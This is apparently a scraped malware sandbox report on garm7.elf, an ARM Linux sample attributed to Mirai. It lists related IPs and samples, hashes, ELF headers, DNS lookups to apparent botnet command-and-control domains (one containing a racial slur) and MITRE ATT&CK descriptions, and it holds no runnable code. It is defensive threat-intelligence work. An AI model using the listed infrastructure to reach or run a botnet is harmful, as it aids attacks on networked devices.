197.221.56.218	unknown	South Africa	37153	xneeloZA	false
197.187.5.194	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
197.116.172.35	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.115.248.78	unknown	South Africa	16637	MTNNS-ASZA	false
156.190.100.175	unknown	Egypt	36992	ETISALAT-MISREG	false
197.57.39.61	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.2.60.186	unknown	United States	29975	VODACOM-ZA	false
197.19.205.255	unknown	Tunisia	37693	TUNISIANATN	false
197.90.74.36	unknown	South Africa	10474	OPTINETZA	false
197.31.187.156	unknown	Tunisia	37492	ORANGE-TN	false
156.133.239.148	unknown	Luxembourg	29975	VODACOM-ZA	false
156.75.68.135	unknown	United States	8103	STATE-OF-FLAUS	true
197.143.201.99	unknown	Algeria	36891	ICOSNET-ASDZ	false
41.196.116.100	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.71.222.98	unknown	Nigeria	37053	RSAWEB-ASZA	true
197.226.240.16	unknown	Mauritius	23889	MauritiusTelecomMU	false
197.194.23.185	unknown	Egypt	36992	ETISALAT-MISREG	false
156.189.23.115	unknown	Egypt	36992	ETISALAT-MISREG	false
41.210.115.171	unknown	unknown	29614	GHANATEL-ASGH	false
156.63.125.72	unknown	United States	19902	NET-STATE-OHIOUS	false
197.166.117.61	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.232.116.194	unknown	Kenya	36866	JTLKE	false
197.232.116.195	unknown	Kenya	36866	JTLKE	false
156.193.80.125	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.251.7.150	unknown	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	false
197.66.231.35	unknown	South Africa	16637	MTNNS-ASZA	false
41.59.10.1	unknown	Tanzania United Republic of	33765	TTCLDATATZ	false
156.7.184.133	unknown	United States	29975	VODACOM-ZA	false
197.149.160.118	unknown	South Africa	37438	GijimaZA	false
197.71.86.100	unknown	South Africa	16637	MTNNS-ASZA	false
156.23.31.31	unknown	United States	29975	VODACOM-ZA	false
197.53.207.202	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.243.156.220	unknown	Seychelles	54600	PEGTECHINCUS	false
41.167.147.137	unknown	South Africa	36937	Neotel-ASZA	false
197.106.106.102	unknown	South Africa	37168	CELL-CZA	false
41.128.184.231	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.168.180.23	unknown	Egypt	36992	ETISALAT-MISREG	false
41.60.172.96	unknown	Mauritius	37146	realtime-asZM	false
41.245.154.149	unknown	Nigeria	328050	Intercellular-Nigeria-ASNG	false
197.223.200.156	unknown	Egypt	37069	MOBINILEG	false
41.5.41.250	unknown	South Africa	29975	VODACOM-ZA	false
156.147.203.67	unknown	Korea Republic of	4668	LGNET-AS-KRLGCNSKR	false
197.213.176.96	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
197.167.97.240	unknown	Egypt	24863	LINKdotNET-ASEG	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.238.77.151	R3j6kYQCw9.elf	Get hash	malicious	Mirai	Browse
197.238.77.151	x86	Get hash	malicious	Unknown	Browse
156.158.98.16	SOAkQezXit.elf	Get hash	malicious	Mirai	Browse
197.101.109.112	jYYejunxKQ.elf	Get hash	malicious	Mirai, Moobot	Browse
	IqYrm11Dv4.elf	Get hash	malicious	Mirai, Moobot	Browse
	Z8LhTDa5LT	Get hash	malicious	Gafgyt Mirai	Browse
	Mw05XW2H53	Get hash	malicious	Mirai	Browse
	8g3tc5SWwB	Get hash	malicious	Mirai	Browse
41.205.252.88	FT5aLZyLj1.elf	Get hash	malicious	Mirai, Moobot	Browse
41.205.252.88	yBBiO6a8F4.elf	Get hash	malicious	Mirai, Moobot	Browse
197.108.90.223	Ati7pk9JhN.elf	Get hash	malicious	Mirai, Moobot	Browse
197.108.90.223	notabotnet.mpsl.elf	Get hash	malicious	Mirai	Browse
41.114.147.146	notabotnet.i486-20220921-0647.elf	Get hash	malicious	Mirai	Browse
	arm4	Get hash	malicious	Mirai	Browse
	arm	Get hash	malicious	Mirai	Browse
	3CxiTKHCYM	Get hash	malicious	Unknown	Browse
41.237.139.162	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse
	QEmyXHo0eM.elf	Get hash	malicious	Mirai	Browse
	jwq8Kk0Kj8.elf	Get hash	malicious	Mirai, Moobot	Browse
	3wDGYhaTqC	Get hash	malicious	Gafgyt Mirai	Browse
41.198.207.239	arm5.elf	Get hash	malicious	Unknown	Browse
	dpNPeZeL6o.elf	Get hash	malicious	Mirai	Browse
	20ZCieiwwJ.elf	Get hash	malicious	Mirai	Browse
	arm	Get hash	malicious	Mirai	Browse
	xvnvUdt89j	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
swimminginboats.geek	gmpsl.elf	Get hash	malicious	Mirai	Browse	138.197.155.229
swimminginboats.geek	mpsl.elf	Get hash	malicious	Mirai	Browse	165.22.62.189
magicalmalware.pirate	nshppc.elf	Get hash	malicious	Mirai	Browse	138.197.141.146
	garm5.elf	Get hash	malicious	Mirai	Browse	165.22.62.189
	gmpsl.elf	Get hash	malicious	Mirai	Browse	138.68.66.39
	mips.elf	Get hash	malicious	Mirai	Browse	128.199.113.0
	ppc.elf	Get hash	malicious	Mirai	Browse	138.197.7.36
	x86.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	x86_64.elf	Get hash	malicious	Mirai	Browse	165.22.62.189
daisy.ubuntu.com	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	botnet.arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	hidakibest.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	hidakibest.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	garm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	garm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	fSLSu3PQPC.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	3kMnPQIVHR.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

Process:	/tmp/garm7.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.640223928941852
Encrypted:	false
SSDEEP:	3:TgHY4A3:Tg83
MD5:	3F8F99B17BCCA98C0927DFD6B97D1599
SHA1:	F1793187C34DCCB18152A934FC06EED617DBFEC5
SHA-256:	BD595D8D57D9304D2081AF07896C0E7B888824E136601490A8B0BB306ABE7FDA
SHA-512:	AA64FCF35838ECE7244CE64A4D29D7BF5785A4BC1D44378E73763680F41FB910FBB051775E45438619F4D6B8CE9AB8C5D9E8ED446AB1FE90CAC9AEECF69737D2
Malicious:	false
Reputation:	low
Preview:	/tmp/garm7.elf.

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.175647381909717
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	garm7.elf
File size:	90'816 bytes
MD5:	f3f31e8331a7c61029f9c9d425a896de
SHA1:	b9307b25bbbf01bfb70b4bf48233c7029e7ee2b3
SHA256:	ba18aeb9bd18bf78988e0dc6c224fff486bc91c4c0c6cc8874450da472f8ff85
SHA512:	47209e99f9a2c2e543fd2d89d3f58a908d2bbe7dd9aca94699c132c37e35ae33537784c9ecba8d8b1afa2d3293a003e8f2bf1e2b82f863a8ba07d21db2e95461
SSDEEP:	1536:VlnSrbFVxLHZn25RZImaPqkEc2tChTk9lGUiqrt6FwY7rjRZJa/:CVpZn2PZImaikEc2tI0rt6FwUjjJa/
TLSH:	D5932B46B9819F02D4D621BAFBAF414933136FBCD3FA7101D920AFA427C69DB0E76512
File Content Preview:	.ELF..............(.........4...._......4. ...(........p.M...........................................N...N...............P...P...P......D2...............P...P...P..................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	90096
Section Header Size:	40
Number of Section Headers:	18
Header String Table Index:	17

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x13218	0x0	0x6	AX	0	16
.fini	PROGBITS	0x1b308	0x13308	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x1b318	0x13318	0x1a50	0x0	0x2	A	0	8
.ARM.extab	PROGBITS	0x1cd68	0x14d68	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x1cd80	0x14d80	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x25000	0x15000	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x25004	0x15004	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x25004	0x15004	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x25008	0x15008	0x4	0x0	0x3	WA	0	4
.jcr	PROGBITS	0x2500c	0x1500c	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x25010	0x15010	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x250b8	0x150b8	0x22c	0x0	0x3	WA	0	4
.bss	NOBITS	0x252e4	0x152e4	0x2f60	0x0	0x3	WA	0	4
.comment	PROGBITS	0x0	0x152e4	0xc64	0x0	0x0		0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x15f48	0x16	0x0	0x0		0	1
.shstrtab	STRTAB	0x0	0x15f5e	0x91	0x0	0x0		0	1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report garm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.03Bfvw (deleted)

/tmp/qemu-open.04y0Jx (deleted)

/tmp/qemu-open.05afvx (deleted)

/tmp/qemu-open.05iPLx (deleted)

/tmp/qemu-open.07gAhx (deleted)

/tmp/qemu-open.08Fijv (deleted)

/tmp/qemu-open.08jsvy (deleted)

/tmp/qemu-open.09Yrcv (deleted)

/tmp/qemu-open.0AcGDv (deleted)

/tmp/qemu-open.0ghGLx (deleted)

/tmp/qemu-open.1784sx (deleted)

/tmp/qemu-open.1EBfIy (deleted)

/tmp/qemu-open.1H0Bzw (deleted)

/tmp/qemu-open.1HrIly (deleted)

/tmp/qemu-open.1LzKxv (deleted)

/tmp/qemu-open.1OetDw (deleted)

/tmp/qemu-open.1UdGFx (deleted)

/tmp/qemu-open.1VCyry (deleted)

/tmp/qemu-open.1bepdw (deleted)

/tmp/qemu-open.1nJPlu (deleted)

/tmp/qemu-open.1y3baw (deleted)

/tmp/qemu-open.1yWrhv (deleted)

/tmp/qemu-open.20jdDv (deleted)

/tmp/qemu-open.24xUrx (deleted)

/tmp/qemu-open.2CpwFy (deleted)

/tmp/qemu-open.2Dfimy (deleted)

Linux Analysis Report
garm7.elf

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x14d80	0x1cd80	0x1cd80	0x118	0x118	4.3705	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x14e98	0x14e98	6.1625	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x15000	0x25000	0x25000	0x2e4	0x3244	4.0955	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x15004	0x25004	0x25004	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 09:55:31.029681921 CEST	192.168.2.14	65.21.1.106	0xf892	Standard query (0)	swimminginboats.geek	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:55:37.657675028 CEST	192.168.2.14	194.36.144.87	0x3ea8	Standard query (0)	swimminginboats.geek	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:55:44.069957018 CEST	192.168.2.14	37.252.191.197	0x89b8	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:55:50.780416965 CEST	192.168.2.14	217.160.70.42	0xc62	Standard query (0)	therealniggas.parody. [malformed]	256	390	false
Oct 24, 2024 09:55:50.808753967 CEST	192.168.2.14	138.197.140.189	0x1c1f	Standard query (0)	swimminginboats.geek. [malformed]	256	390	false
Oct 24, 2024 09:55:50.919388056 CEST	192.168.2.14	88.198.92.222	0x7c3e	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:55:50.930970907 CEST	192.168.2.14	80.78.132.79	0xf23f	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	390	false
Oct 24, 2024 09:55:57.386606932 CEST	192.168.2.14	178.254.22.166	0x45b3	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	397	false
Oct 24, 2024 09:56:02.391836882 CEST	192.168.2.14	80.78.132.79	0x4593	Standard query (0)	therealniggas.parody. [malformed]	256	402	false
Oct 24, 2024 09:56:02.411336899 CEST	192.168.2.14	202.61.197.122	0x597a	Standard query (0)	swimminginboats.geek. [malformed]	256	402	false
Oct 24, 2024 09:56:02.428103924 CEST	192.168.2.14	173.208.212.205	0x88ef	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:56:13.903889894 CEST	192.168.2.14	51.158.108.203	0x2951	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	413	false
Oct 24, 2024 09:56:13.920691013 CEST	192.168.2.14	138.197.140.189	0x42e3	Standard query (0)	swimminginboats.geek. [malformed]	256	413	false
Oct 24, 2024 09:56:14.020751953 CEST	192.168.2.14	217.160.70.42	0x8674	Standard query (0)	therealniggas.parody. [malformed]	256	414	false
Oct 24, 2024 09:56:14.049324036 CEST	192.168.2.14	195.10.195.195	0xe0e4	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:56:19.987665892 CEST	192.168.2.14	168.235.111.72	0xd3ff	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:56:25.271596909 CEST	192.168.2.14	51.158.108.203	0x98c	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	425	false
Oct 24, 2024 09:56:25.289077044 CEST	192.168.2.14	88.198.92.222	0xb87c	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:56:25.300704002 CEST	192.168.2.14	138.197.140.189	0x2d95	Standard query (0)	therealniggas.parody. [malformed]	256	425	false
Oct 24, 2024 09:56:25.401402950 CEST	192.168.2.14	88.198.92.222	0xd1ed	Standard query (0)	swimminginboats.geek. [malformed]	256	425	false
Oct 24, 2024 09:56:36.908345938 CEST	192.168.2.14	80.78.132.79	0x2a31	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:56:43.709032059 CEST	192.168.2.14	192.71.166.92	0xfba7	Standard query (0)	therealniggas.parody. [malformed]	256	443	false
Oct 24, 2024 09:56:48.714005947 CEST	192.168.2.14	51.158.108.203	0xa8ee	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	448	false
Oct 24, 2024 09:56:48.731069088 CEST	192.168.2.14	152.53.15.127	0xb405	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:56:54.835706949 CEST	192.168.2.14	130.61.69.123	0xdbcf	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:57:00.758778095 CEST	192.168.2.14	168.235.111.72	0xa323	Standard query (0)	therealniggas.parody. [malformed]	256	460	false
Oct 24, 2024 09:57:00.849730968 CEST	192.168.2.14	130.61.69.123	0x7ffc	Standard query (0)	swimminginboats.geek. [malformed]	256	460	false
Oct 24, 2024 09:57:00.859142065 CEST	192.168.2.14	81.169.136.222	0xd855	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	460	false
Oct 24, 2024 09:57:00.888384104 CEST	192.168.2.14	195.10.195.195	0x4618	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:57:07.822784901 CEST	192.168.2.14	130.61.69.123	0x4b51	Standard query (0)	therealniggas.parody. [malformed]	256	467	false
Oct 24, 2024 09:57:07.838032961 CEST	192.168.2.14	173.208.212.205	0xfde0	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	467	false
Oct 24, 2024 09:57:07.966820955 CEST	192.168.2.14	138.197.140.189	0x76b	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:57:14.385135889 CEST	192.168.2.14	94.247.43.254	0xd95a	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	474	false
Oct 24, 2024 09:57:14.573070049 CEST	192.168.2.14	195.10.195.195	0x2694	Standard query (0)	therealniggas.parody. [malformed]	256	474	false
Oct 24, 2024 09:57:14.583420038 CEST	192.168.2.14	152.53.15.127	0xcb07	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:57:21.095527887 CEST	192.168.2.14	192.71.166.92	0x5f8f	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	481	false
Oct 24, 2024 09:57:26.102183104 CEST	192.168.2.14	185.84.81.194	0xe0ea	Standard query (0)	therealniggas.parody. [malformed]	256	486	false
Oct 24, 2024 09:57:26.115643024 CEST	192.168.2.14	130.61.69.123	0xf7a0	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:57:32.060990095 CEST	192.168.2.14	51.158.108.203	0x3f5d	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	492	false
Oct 24, 2024 09:57:32.081773996 CEST	192.168.2.14	192.71.166.92	0xe7dc	Standard query (0)	therealniggas.parody. [malformed]	256	492	false
Oct 24, 2024 09:57:37.085460901 CEST	192.168.2.14	70.34.254.19	0x3b41	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:57:42.088588953 CEST	192.168.2.14	109.91.184.21	0x4bc3	Standard query (0)	swimminginboats.geek. [malformed]	256	502	false
Oct 24, 2024 09:57:48.152508974 CEST	192.168.2.14	178.254.22.166	0x5130	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:57:53.159364939 CEST	192.168.2.14	195.10.195.195	0xe191	Standard query (0)	swimminginboats.geek. [malformed]	256	257	false
Oct 24, 2024 09:57:53.168579102 CEST	192.168.2.14	195.10.195.195	0x2cc3	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	257	false
Oct 24, 2024 09:57:53.177957058 CEST	192.168.2.14	194.36.144.87	0xdfa3	Standard query (0)	therealniggas.parody. [malformed]	256	257	false
Oct 24, 2024 09:57:59.146836042 CEST	192.168.2.14	51.158.108.203	0xc081	Standard query (0)	swimminginboats.geek. [malformed]	256	263	false
Oct 24, 2024 09:57:59.164513111 CEST	192.168.2.14	37.252.191.197	0xe3f2	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	263	false
Oct 24, 2024 09:57:59.186640978 CEST	192.168.2.14	94.247.43.254	0xb494	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:58:05.137712002 CEST	192.168.2.14	81.169.136.222	0x3f	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:58:11.609441996 CEST	192.168.2.14	70.34.254.19	0xc1f0	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	275	false
Oct 24, 2024 09:58:14.407334089 CEST	192.168.2.14	8.8.8.8	0x6ea7	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:58:14.407334089 CEST	192.168.2.14	8.8.8.8	0xb6bd	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false
Oct 24, 2024 09:58:16.616482973 CEST	192.168.2.14	94.247.43.254	0x21c6	Standard query (0)	swimminginboats.geek. [malformed]	256	280	false
Oct 24, 2024 09:58:16.624577045 CEST	192.168.2.14	109.91.184.21	0x4828	Standard query (0)	therealniggas.parody. [malformed]	256	280	false
Oct 24, 2024 09:58:16.724257946 CEST	192.168.2.14	194.36.144.87	0xc002	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:58:23.205540895 CEST	192.168.2.14	109.91.184.21	0x1f09	Standard query (0)	swimminginboats.geek. [malformed]	256	287	false
Oct 24, 2024 09:58:23.233159065 CEST	192.168.2.14	94.247.43.254	0x245c	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:58:29.841738939 CEST	192.168.2.14	94.247.43.254	0x5b85	Standard query (0)	swimminginboats.geek. [malformed]	256	293	false
Oct 24, 2024 09:58:29.851099968 CEST	192.168.2.14	65.21.1.106	0xbd06	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:58:35.980576038 CEST	192.168.2.14	80.152.203.134	0x7d55	Standard query (0)	therealniggas.parody. [malformed]	256	300	false
Oct 24, 2024 09:58:36.022350073 CEST	192.168.2.14	80.78.132.79	0x55cd	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	300	false
Oct 24, 2024 09:58:36.041111946 CEST	192.168.2.14	80.152.203.134	0x3383	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:58:42.551795959 CEST	192.168.2.14	80.152.203.134	0x75bf	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	306	false
Oct 24, 2024 09:58:42.588203907 CEST	192.168.2.14	80.78.132.79	0x550a	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:58:48.658018112 CEST	192.168.2.14	37.252.191.197	0xca30	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:58:54.780415058 CEST	192.168.2.14	103.1.206.179	0xbec6	Standard query (0)	therealniggas.parody. [malformed]	256	318	false
Oct 24, 2024 09:58:55.233443022 CEST	192.168.2.14	192.71.166.92	0xff	Standard query (0)	swimminginboats.geek. [malformed]	256	319	false
Oct 24, 2024 09:59:00.239820004 CEST	192.168.2.14	173.208.212.205	0x5821	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	324	false
Oct 24, 2024 09:59:00.365008116 CEST	192.168.2.14	195.10.195.195	0xbb5d	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false

Start time (UTC):	07:55:30
Start date (UTC):	24/10/2024
Path:	/tmp/garm7.elf
Arguments:	/tmp/garm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre